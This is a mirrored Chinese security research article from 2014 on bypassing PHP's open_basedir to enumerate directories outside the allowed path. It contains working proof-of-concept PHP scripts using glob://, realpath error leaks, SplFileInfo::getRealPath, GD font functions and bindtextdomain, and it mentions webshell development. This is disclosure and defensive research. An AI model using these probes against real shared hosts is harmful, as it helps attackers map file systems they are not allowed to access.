PHP繞過open_basedir列目錄的研究

wyzsk發表於2020-08-19
作者: phith0n · 2014/11/21 16:05

0x00 前言


近期由於在開發自己的webshell,所以對PHP一些已有的漏洞進行了一定的研究,並且也自己發現了部分PHP存在的安全隱患。這篇文章我來與大家分享一下自己對於PHP中open_basedir繞過並列舉目錄的方法總結。

0x01 open_basedir的簡介


Open_basedir是PHP設定中為了防禦PHP跨目錄進行檔案(目錄)讀寫的方法,所有PHP中有關檔案讀、寫的函式都會經過open_basedir的檢查。

Open_basedir實際上是一些目錄的集合,在定義了open_basedir以後,php可以讀寫的檔案、目錄都將被限制在這些目錄中。

設定open_basedir的方法,在linux下,不同的目錄由“:”分割,如“/var/www/:/tmp/”;在Windows下不同目錄由“;”分割,如“c:/www;c:/windows/temp”。

在現在這個各種雲、虛擬主機橫行的時期,人們希望open_basedir作為一個橫亙在不同使用者之間的屏障,有力地保障使用者的主機能獨立執行,但事實並非人們想象的那麼簡單。

我們這篇文章著重講的將是繞過open_basedir進行目錄的列舉與遍歷,為何我們不說具體檔案的讀、寫,因為檔案讀寫的洞是危害比較大的漏洞了,在php5.3以後很少有能夠繞過open_basedir讀寫檔案的方法。

0x02 利用DirectoryIterator + Glob 直接列舉目錄


這是@/fd 指令碼(http://zone.wooyun.org/content/11268)裡給出的第一個方法。

DirectoryIterator 是php5中增加的一個類,為使用者提供一個簡單的檢視目錄的介面(The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories)。

glob: 資料流包裝器是從 PHP 5.3.0 起開始有效的,用來查詢匹配的檔案路徑。

結合這兩個方式,我們就可以在php5.3以後對目錄進行列舉。在實測中,我們得知,此方法在Linux下列舉目錄居然可以無視open_basedir。

示例程式碼:

#!php
<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
        echo "{$f}<br/>";
}
?>

執行我們可以發現,open_basedir為/usr/share/nginx/www/:/tmp/,但我們成功列舉了/根目錄下的所有檔案:

enter image description here

這個方法也是迄今為止最方便的方法,他不用暴力猜解目錄,而是直接列舉。但他對php版本、系統版本有一定要求,在5.3以上可列舉(5.5/5.6可能會有修復?在官方沒看到有fix),需要在Linux下才能繞過open_basedir。

0x03 realpath列舉目錄


這是@/fd 指令碼(http://zone.wooyun.org/content/11268)裡給出的第二個方法。

Realpath函式是php中將一個路徑規範化成為絕對路徑的方法,它可以去掉多餘的../或./等跳轉字元,能將相對路徑轉換成絕對路徑。

在開啟了open_basedir以後,這個函式有個特點:當我們傳入的路徑是一個不存在的檔案(目錄)時,它將返回false;當我們傳入一個不在open_basedir裡的檔案(目錄)時,他將丟擲錯誤(File is not within the allowed path(s))。

所以我們可以透過這個特點,來進行目錄的猜解。舉個例子,我們需要猜解根目錄(不在open_basedir中)下的所有檔案,只用寫一個捕捉php錯誤的函式err_handle()。當猜解某個存在的檔案時,會因丟擲錯誤而進入err_handle(),當猜解某個不存在的檔案時,將不會進入err_handle()。

那麼由此我們來算算效率。假如一個檔名長度為6位(如config、passwd等全小寫不帶數字)的檔案,我們最差需要列舉多少次才能猜測到他是否存在:

26 ** 6 = 308915776次

enter image description here

這樣是需要跑很久的,基本每次跑的時候我都沒耐心了,這樣暴力猜解肯定是不行的。那麼,有什麼好辦法可以變這個“雞肋”的漏洞為一個“好用”的漏洞?

熟悉Windows + PHP的同學應該還記得Windows下有兩個特殊的萬用字元:<、>

對,我們這裡就借用這些萬用字元的力量來列舉目錄。寫個簡單的POC來列舉一下:

#!php
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) { 
    $file = $dir . $chars[$i] . '<><';
    realpath($file);
}
function isexists($errno, $errstr)
{
    $regexp = '/File\((.*)\) is not within/';
    preg_match($regexp, $errstr, $matches);
    if (isset($matches[1])) {
        printf("%s <br/>", $matches[1]);
    }
}
?>

首先設定open_basedir為當前目錄,並列舉d:/test/目錄下的所有檔案。將錯誤處理交給isexists函式,在isexists函式中匹配出目錄名稱,並列印出來。

執行可以看到:

enter image description here

Open_basedir為c:\wamp\www,但我們列舉出了d:/test/目錄下的檔案:

enter image description here

當然,這是個很粗糙的POC,因為我並沒有考慮到首字母相同的檔案,所以這個POC只能列舉首字母不同的檔案。

如果首字母相同,我們只需要再列舉第二個字元、第三個字元依次類推,即可列舉出目錄中所有檔案。

這個方法好處是windows下php所有版本通用,當然壞處就是隻有windows下才能使用萬用字元,如果是linux下就只能暴力猜解了。

0x04 SplFileInfo::getRealPath列舉目錄


受到上一個方法的啟發,我開始在php中尋找類似的方法。一旦realpath不能使用的情況下,也能找到替代方式。

我找到了新方法: WooYun: php設計缺陷導致繞過open_basedir列舉目錄#1 ,使用的方式是SplFileInfo::getRealPath。

SplFileInfo類是PHP5.1.2之後引入的一個類,提供一個對檔案進行操作的介面。其中有一個和realpath名字很像的方法叫getRealPath。

這個方法功能和realpath類似,都是獲取絕對路徑用的。我們在SplFileInfo的建構函式中傳入檔案相對路徑,並且呼叫getRealPath即可獲取檔案的絕對路徑。

這個方法有個特點:完全沒有考慮open_basedir。在傳入的路徑為一個不存在的路徑時,會返回false;在傳入的路徑為一個存在的路徑時,會正常返回絕對路徑。

我們的realpath函式還是考慮了open_basedir,只是在報錯上沒有考慮周全導致我們能夠判斷某個檔案是否存在。但我們可愛的SplFileInfo::getRealPath方法是直接沒有考慮open_basedir,就能夠判斷一個檔案是否存在。

那麼,我給出一個POC:

#!php
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
$basedir = 'D:/test/';
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) { 
    $info = new SplFileInfo($basedir . $chars[$i] . '<><');
    $re = $info->getRealPath();
    if ($re) {
        dump($re);
    }
}
function dump($s){
    echo $s . '<br/>';
    ob_flush();
    flush();
}
?>

只是把之前的POC稍作修改,同樣列出了D:/test下的檔案:

enter image description here

這個方法有個特點,不管是否開啟open_basedir都是可以列舉任意目錄的。而上一個方法(realpath)只有在開啟open_basedir且在open_basedir外的時候才會報錯,才能列舉目錄。當然,沒有開啟open_basedir的時候也不需要這樣列舉目錄了。

0x05 GD庫imageftbbox/imagefttext列舉目錄


GD庫一般是PHP必備的擴充套件庫之一,所以我在尋找open_basedir的時候也會看看這些有用的擴充套件庫。

這是新方法: WooYun: php設計缺陷導致繞過open_basedir列舉目錄之3

我拿imageftbbox舉個例子,這個函式第三個引數是字型的路徑。我發現當這個引數在open_basedir外的時候,當檔案存在,則php會丟擲“File(xxxxx) is not within the allowed path(s)”錯誤。但當檔案不存在的時候會丟擲“Invalid font filename”錯誤。

也就是說,我們可以透過丟擲錯誤的具體內容來判斷一個檔案是否存在。這個方法和realpath有相似性,都會丟擲open_basedir的錯誤。

我也修改了個簡單的POC:

#!php
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) { 
    $file = $dir . $chars[$i] . '<><';
    //$m = imagecreatefrompng("zip.png");
    //imagefttext($m, 100, 0, 10, 20, 0xffffff, $file, 'aaa');
    imageftbbox(100, 100, $file, 'aaa');
}
function isexists($errno, $errstr)
{
    global $file;
    if (stripos($errstr, 'Invalid font filename') === FALSE) {
        printf("%s<br/>", $file);
    }
}
?>

同樣列舉一下d:/test

enter image description here

如上圖,我們發現雖然“萬用字元”在判斷是否存在的時候奏效了,但我們真正的檔名並沒有顯示出來,而是還是以萬用字元“<><”代替。

所以,這個方法報錯的時候並不會把真正的路徑爆出來,這也是其與realpath的最大不同之處。所以,我們只能一位一位地猜測,但總體來說,還是能夠猜測出來的,只不過可能比realpath更麻煩一些罷了。

0x06 bindtextdomain暴力猜解目錄


這是新方法: WooYun: php設計缺陷導致繞過open_basedir列舉目錄#2

bindtextdomain是php下繫結domain到某個目錄的函式。具體這個domain是什麼我也沒具體用過,只是在一些l10n應用中可能用到的方法(相關函式textdomain、gettext、setlocale,說明:http://php.net/manual/en/function.gettext.php)

Bindtextdomain函式在環境支援Gettext Functions的時候才能使用,而我的windows環境下是沒有bindtextdomain函式的,我的linux環境是預設存在這個函式。

enter image description here

如上圖,這個函式第二個引數$directory是一個檔案路徑。它會在$directory存在的時候返回$directory,不存在則返回false。

寫個簡單的測試程式碼:

#!php
<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);
?>

當/etc/passwd存在的時候輸出之:

enter image description here

當/etc/wooyun不存在的時候返回false:

enter image description here

並沒有考慮到open_basedir。所以,我們也可以透過返回值的不同來猜解、列舉某個目錄。

但很大的雞肋點在,windows下預設是沒有這個函式的,而在linux下不能使用萬用字元進行目錄的猜解,所以顯得很雞肋。

當然,在萬無退路的時候進行暴力猜解目錄,也不失為一個還算行的方法。

0x07 總結


open_basedir本來作為php限制跨目錄讀寫檔案的最基礎的方式,應該需要進行完好的設計。但可能php在當初編寫程式碼的時候並沒有進行一個統一的設計,導致每當新增加功能或遇到一些偏僻的函式的時候,都會出現類似“open_basedir繞過”等悲劇。

我曾經寫過一篇文章,《lnmp虛擬主機安全配置研究》,中講述了一個防止虛擬主機跨目錄的方法。但受到了一些白帽子的質疑:

enter image description here

原因是很多人過於相信open_basedir的可靠性。open_basedir固然是一個簡單地限制跨目錄的方法,但如果過於依賴某一個方法去防禦一類攻擊,你將會死的很慘。

enter image description here

open_basedir繞過方法固然有版本侷限,但不排除有很多人手中握著0day。像我這樣對php造詣並不算高的菜鳥也能找到的open_basedir繞過漏洞,你真的能保證大牛們都沒有辦法繞過麼?

我當然更能相信linux/windows等作業系統自帶的許可權控制機制,也不會單單相信open_basedir真的能幫我防禦什麼。

By the way,我上面提到的這些方法,基本都還沒有在php的最新版修復(甚至是我自己發現的“0day”),也就是說還真的有這麼多通用的方法可以繞過open_basedir。

估計又會有人質疑了,光繞過open_basedir列目錄有什麼用?

誠然,列目錄相比於讀、寫具體檔案,都雞肋了很多。但很多時候,就是這些看似“雞肋”的漏洞組合技完成了絕殺。

0x08 參考


本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章